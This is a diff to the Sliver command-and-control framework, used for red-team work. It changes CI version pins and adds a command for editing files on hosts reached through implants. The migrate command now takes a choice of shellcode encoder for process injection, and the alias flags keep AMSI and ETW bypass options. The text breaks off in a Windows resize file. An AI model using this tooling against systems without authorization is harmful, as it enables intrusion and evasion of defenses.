Remove old test

C2/mux

.github/workflows/autorelease.yml

@@ -44,7 +44,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Install Minisign
         run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign

.github/workflows/codeql-scanning.yml

@@ -19,7 +19,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Checkout repository
         uses: actions/checkout@v6

.github/workflows/unit-tests.yml

@@ -26,7 +26,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: OS Packages
         run: |
@@ -48,8 +48,21 @@ jobs:
       - name: Make Linux (amd64)
         run: make linux-amd64
 
+      - name: Determine go-tests flags
+        id: go-tests-flags
+        shell: bash
+        run: |
+          set -euo pipefail
+          base_sha="${{ github.event.pull_request.base.sha }}"
+          head_sha="${{ github.sha }}"
+          if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
+            echo "args=" >> "$GITHUB_OUTPUT"
+          else
+            echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
+          fi
+
       - name: Test Linux
-        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
+        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
 
 
   macos-build-test:
@@ -60,7 +73,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Check Out Code
         uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
       - name: Make MacOS (arm64)
         run: make macos-arm64
 
+      - name: Determine go-tests flags
+        id: go-tests-flags
+        shell: bash
+        run: |
+          set -euo pipefail
+          base_sha="${{ github.event.pull_request.base.sha }}"
+          head_sha="${{ github.sha }}"
+          if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
+            echo "args=" >> "$GITHUB_OUTPUT"
+          else
+            echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
+          fi
+
       - name: Test MacOS
-        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
+        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
 
   clients-build:
     name: Clients Build
@@ -85,7 +111,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Check Out Code
         uses: actions/checkout@v6

README.md

@@ -42,3 +42,4 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+

client/assets/assets.go

@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
 	if force || localVer == "" || localVer != ver.GitCommit {
 		if echo {
 			fmt.Printf(`
-Sliver  Copyright (C) 2025  Bishop Fox
+Sliver  Copyright (C) 2026  Bishop Fox
 This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
 This is free software, and you are welcome to redistribute it
 under certain conditions; type 'licenses' for details.`)

client/command/README.md

@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
 - `creds/` – Implements the 'creds' command group for the Sliver client console.
 - `cursed/` – Implements the 'cursed' command group for the Sliver client console.
 - `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
+- `edit/` – Implements the 'edit' command for the Sliver client console.
 - `environment/` – Implements the 'environment' command group for the Sliver client console.
 - `exec/` – Implements the 'exec' command group for the Sliver client console.
 - `exit/` – Implements the 'exit' command group for the Sliver client console.

client/command/alias/load.go

@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
 		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 		f.BoolP("in-process", "i", false, "Run in the current sliver process")
-		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+		f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
+		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
+		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
 		addAliasCmd.Flags().AddFlagSet(f)
 	}
 
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
 		}
 		con.PrintWarnf("%s", msgStr)
 		confirm := false
-		_ = forms.Confirm("Do you want to continue?", &confirm)
+		forms.Confirm("Do you want to continue?", &confirm)
 		if !confirm {
 			return
 		}

client/command/armory/install.go

@@ -635,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	tmpFileName, err := writeArmoryTempFile(tarGz)
 	if err != nil {
 		return err
 	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	tmpFile.Close()
+	defer os.Remove(tmpFileName)
 
 	con.Printf(console.Clearln + "\r") // Clear the line
 
-	installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
+	installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
 	if installPath == nil {
 		return errors.New("failed to install alias")
 	}
@@ -729,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	err = tmpFile.Sync()
+	tmpFileName, err := writeArmoryTempFile(tarGz)
 	if err != nil {
 		return err
 	}
+	defer os.Remove(tmpFileName)
 
 	con.Printf(console.Clearln + "\r") // Clear download message
 
-	extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
+	extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
 
 	return nil
 }
+
+func writeArmoryTempFile(data []byte) (string, error) {
+	if len(data) == 0 {
+		return "", errors.New("downloaded archive is empty")
+	}
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	if err != nil {
+		return "", err
+	}
+	tmpFileName := tmpFile.Name()
+	for len(data) > 0 {
+		n, err := tmpFile.Write(data)
+		if err != nil {
+			tmpFile.Close()
+			os.Remove(tmpFileName)
+			return "", err
+		}
+		data = data[n:]
+	}
+	if err := tmpFile.Sync(); err != nil {
+		tmpFile.Close()
+		os.Remove(tmpFileName)
+		return "", err
+	}
+	if err := tmpFile.Close(); err != nil {
+		os.Remove(tmpFileName)
+		return "", err
+	}
+	return tmpFileName, nil
+}

client/command/edit/commands.go

@@ -0,0 +1,38 @@
+package edit
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the edit command.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	editCmd := &cobra.Command{
+		Use:   consts.EditStr,
+		Short: "Edit a remote text file",
+		Long:  help.GetHelpFor([]string{consts.EditStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			EditCmd(cmd, con, args)
+		},
+		GroupID: consts.FilesystemHelpGroup,
+	}
+
+	flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
+		f.String("syntax", "", "syntax highlighting lexer name (optional)")
+		f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
+		f.Bool("line-numbers", false, "show line numbers")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	carapace.Gen(editCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("path to the remote file to edit"),
+	)
+
+	return []*cobra.Command{editCmd}
+}

client/command/edit/edit.go

@@ -0,0 +1,380 @@
+package edit
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/alecthomas/chroma/v2"
+	"github.com/alecthomas/chroma/v2/lexers"
+	"github.com/bishopfox/sliver/client/command/filesystem"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/forms"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+)
+
+const beaconPollInterval = 1 * time.Second
+
+// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
+func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := strings.TrimSpace(args[0])
+	if remotePath == "" {
+		con.PrintErrorf("Missing parameter: remote path\n")
+		return
+	}
+
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
+	download, err := downloadRemote(ctx, con, cmd, remotePath)
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if !download.Exists {
+		con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
+		return
+	}
+	if download.IsDir {
+		con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
+		return
+	}
+
+	data := download.Data
+	if download.Encoder == "gzip" {
+		data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s\n", err)
+			return
+		}
+	}
+	if !isText(data) {
+		con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
+		return
+	}
+
+	path := download.Path
+	if path == "" {
+		path = remotePath
+	}
+
+	lineEnding := detectLineEnding(data)
+	content := normalizeLineEndings(data)
+
+	lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
+
+	for {
+		result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
+		if err != nil {
+			con.PrintErrorf("Editor error: %s\n", err)
+			return
+		}
+		content = result.Content
+
+		if result.Action == actionNone {
+			return
+		}
+
+		if !result.Modified {
+			if result.Action == actionSaveQuit {
+				con.PrintInfof("No changes to upload for %s\n", path)
+			}
+			return
+		}
+
+		switch result.Action {
+		case actionSaveQuit:
+			uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if !uploadNow {
+				keepEditing, err := confirm("Continue editing?")
+				if err != nil {
+					con.PrintErrorf("%s\n", err)
+					return
+				}
+				if keepEditing {
+					continue
+				}
+				return
+			}
+
+			uploadData := applyLineEnding(content, lineEnding)
+			if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		case actionQuit:
+			if result.Force {
+				return
+			}
+			discard, err := confirm("Discard changes?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if discard {
+				return
+			}
+		}
+	}
+}
+
+func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
+	model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
+	program := tea.NewProgram(model, tea.WithAltScreen())
+	finalModel, err := program.Run()
+	if err != nil {
+		return editorResult{}, err
+	}
+	editor, ok := finalModel.(*editorModel)
+	if !ok {
+		return editorResult{}, fmt.Errorf("unexpected editor state")
+	}
+	return editor.result(), nil
+}
+
+func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
+	download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
+		Request:          con.ActiveTarget.Request(cmd),
+		Path:             path,
+		RestrictedToFile: true,
+	})
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		taskID := download.Response.TaskID
+		download = &sliverpb.Download{}
+		if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
+			return nil, err
+		}
+	}
+	return download, nil
+}
+
+func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	uploadData, err := new(encoders.Gzip).Encode(data)
+	if err != nil {
+		return err
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
+	upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		Path:        path,
+		Data:        uploadData,
+		Encoder:     "gzip",
+		IsDirectory: false,
+		Overwrite:   true,
+	})
+	if err == nil && upload.Response != nil && upload.Response.Async {
+		taskID := upload.Response.TaskID
+		upload = &sliverpb.Upload{}
+		err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
+	}
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		return err
+	}
+	filesystem.PrintUpload(upload, con)
+	return nil
+}
+
+func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
+	task, err := waitForBeaconTask(ctx, con, taskID)
+	if err != nil {
+		return err
+	}
+	state := strings.ToLower(task.State)
+	if state != "completed" {
+		if state == "" {
+			state = "unknown"
+		}
+		return fmt.Errorf("beacon task %s %s", task.ID, state)
+	}
+	if len(task.Response) == 0 {
+		return fmt.Errorf("beacon task %s returned empty response", task.ID)
+	}
+	return proto.Unmarshal(task.Response, out)
+}
+
+func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
+	ticker := time.NewTicker(beaconPollInterval)
+	defer ticker.Stop()
+
+	for {
+		task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
+		if err != nil {
+			return nil, err
+		}
+		state := strings.ToLower(task.State)
+		if state == "completed" || state == "failed" || state == "canceled" {
+			return task, nil
+		}
+		select {
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		case <-ticker.C:
+		}
+	}
+}
+
+func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
+	syntaxName, _ := cmd.Flags().GetString("syntax")
+	selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
+
+	syntaxName = strings.TrimSpace(syntaxName)
+	if strings.EqualFold(syntaxName, "auto") {
+		syntaxName = ""
+	}
+
+	if syntaxName != "" {
+		if strings.EqualFold(syntaxName, "none") {
+			return nil, "none", nil
+		}
+		lexer := lexers.Get(syntaxName)
+		if lexer == nil {
+			return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
+		}
+		name := lexer.Config().Name
+		if name == "" {
+			name = syntaxName
+		}
+		return lexer, name, nil
+	}
+
+	if selectSyntax {
+		options := syntaxOptions()
+		selection := "auto"
+		if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
+			if errors.Is(err, forms.ErrUserAborted) {
+				return detectSyntax(path, content)
+			}
+			return nil, "", err
+		}
+		if strings.EqualFold(selection, "none") {
+			return nil, "none", nil
+		}
+		if strings.EqualFold(selection, "auto") {
+			return detectSyntax(path, content)
+		}
+		lexer := lexers.Get(selection)
+		if lexer == nil {
+			return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
+		}
+		name := lexer.Config().Name
+		if name == "" {
+			name = selection
+		}
+		return lexer, name, nil
+	}
+
+	return detectSyntax(path, content)
+}
+
+func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
+	lexer := lexers.Match(path)
+	if lexer == nil {
+		lexer = lexers.Analyse(content)
+	}
+	if lexer == nil {
+		lexer = lexers.Fallback
+	}
+	name := lexer.Config().Name
+	if name == "" {
+		name = "auto"
+	}
+	return lexer, name, nil
+}
+
+func syntaxOptions() []string {
+	names := lexers.Names(true)
+	sort.Strings(names)
+	options := make([]string, 0, len(names)+2)
+	options = append(options, "auto", "none")
+	options = append(options, names...)
+	return options
+}
+
+func confirm(title string) (bool, error) {
+	answer := false
+	if err := forms.Confirm(title, &answer); err != nil {
+		if errors.Is(err, forms.ErrUserAborted) {
+			return false, nil
+		}
+		return false, err
+	}
+	return answer, nil
+}
+
+func detectLineEnding(data []byte) string {
+	if strings.Contains(string(data), "\r\n") {
+		return "\r\n"
+	}
+	return "\n"
+}
+
+func normalizeLineEndings(data []byte) string {
+	content := strings.ReplaceAll(string(data), "\r\n", "\n")
+	content = strings.ReplaceAll(content, "\r", "\n")
+	return content
+}
+
+func applyLineEnding(content, lineEnding string) []byte {
+	if lineEnding == "\r\n" {
+		content = strings.ReplaceAll(content, "\n", "\r\n")
+	}
+	return []byte(content)
+}
+
+func isText(sample []byte) bool {
+	const max = 1024
+	if len(sample) > max {
+		sample = sample[:max]
+	}
+	for i, c := range string(sample) {
+		if i+utf8.UTFMax > len(sample) {
+			break
+		}
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
+			return false
+		}
+	}
+	return true
+}

client/command/exec/commands.go

@@ -4,6 +4,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/flags"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/rsteube/carapace"
@@ -171,11 +172,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
 	}
 	flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
-		f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.Uint32P("pid", "p", 0, "process id to migrate into")
 		f.StringP("process-name", "n", "", "name of the process to migrate into")
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
 	})
+	flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
+	})
 	carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
 
 	msfCmd := &cobra.Command{

client/command/exec/execute-shellcode.go

@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 
 	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
+	var rows uint32
+	var cols uint32
+	if !noPty {
+		colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
+		if err != nil || rowsInt <= 0 || colsInt <= 0 {
+			colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
+		}
+		if err == nil && rowsInt > 0 && colsInt > 0 {
+			rows = uint32(rowsInt)
+			cols = uint32(colsInt)
+		}
+	}
+
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(cmd),
 		Path:      hostProc,
 		EnablePTY: !noPty,
+		Rows:      rows,
+		Cols:      cols,
 		TunnelID:  tunnel.ID,
 	})
 	if err != nil {
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 		}
 	}
 
+	stopPtyResize := func() {}
+	if !noPty {
+		stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
+	}
+	defer stopPtyResize()
+
 	log.Printf("Starting stdin/stdout shell ...")
 	go func() {
 		n, err := io.Copy(os.Stdout, tunnel)

client/command/exec/migrate.go

@@ -20,14 +20,19 @@ package exec
 
 import (
 	"context"
+	"errors"
 	"fmt"
+	"sort"
+	"strings"
 
 	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/forms"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 )
 
 // MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		implantName = beacon.Name
 	}
 
-	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
-		encoder = clientpb.ShellcodeEncoder_NONE
+	targetArch := config.GetGOARCH()
+	if session != nil && session.Arch != "" {
+		targetArch = session.Arch
+	} else if beacon != nil && beacon.Arch != "" {
+		targetArch = beacon.Arch
+	}
+
+	encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
 	}
 
 	ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
 	}
 }
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	if con == nil || con.Rpc == nil {
+		return nil, errors.New("no RPC client")
+	}
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
+	if encoderMap == nil {
+		return nil
+	}
+	arch = normalizeShellcodeArch(arch)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return nil
+	}
+
+	names := make([]string, 0, len(archMap.GetEncoders()))
+	for name := range archMap.GetEncoders() {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
+	if encoderMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	arch = normalizeShellcodeArch(arch)
+	name = normalizeShellcodeEncoderName(name)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	encoder, ok := archMap.GetEncoders()[name]
+	return encoder, ok
+}
+
+func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
+	rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+	rawEncoder = strings.TrimSpace(rawEncoder)
+
+	if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
+	}
+
+	normalized := normalizeShellcodeEncoderName(rawEncoder)
+	if normalized == "none" {
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	encoderMap, err := fetchShellcodeEncoderMap(con)
+	if err != nil {
+		return clientpb.ShellcodeEncoder_NONE, err
+	}
+
+	// If no encoder specified, prompt for a compatible encoder (or none).
+	if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			// No known compatible encoders for this arch.
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		options := append([]string{"none"}, compatible...)
+		choice := "none"
+		if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
+			return clientpb.ShellcodeEncoder_NONE, err
+		}
+		if normalizeShellcodeEncoderName(choice) == "none" {
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
+		if !ok {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
+		}
+		return encoder, nil
+	}
+
+	// Encoder explicitly specified by name.
+	encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
+	if !ok {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
+		}
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
+	}
+	return encoder, nil
+}

client/command/exec/resize_unix.go

@@ -0,0 +1,97 @@
+//go:build !windows
+
+package exec
+
+import (
+	"context"
+	"os"
+	"os/signal"
+	"sync"
+	"syscall"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	sigCh := make(chan os.Signal, 1)
+	signal.Notify(sigCh, syscall.SIGWINCH)
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-sigCh:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			signal.Stop(sigCh)
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/exec/resize_windows.go

@@ -0,0 +1,93 @@
+//go:build windows
+
+package exec
+
+import (
+	"context"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"os"
+	"sync"
+	"time"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		ticker := time.NewTicker(250 * time.Millisecond)
+		defer ticker.Stop()
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
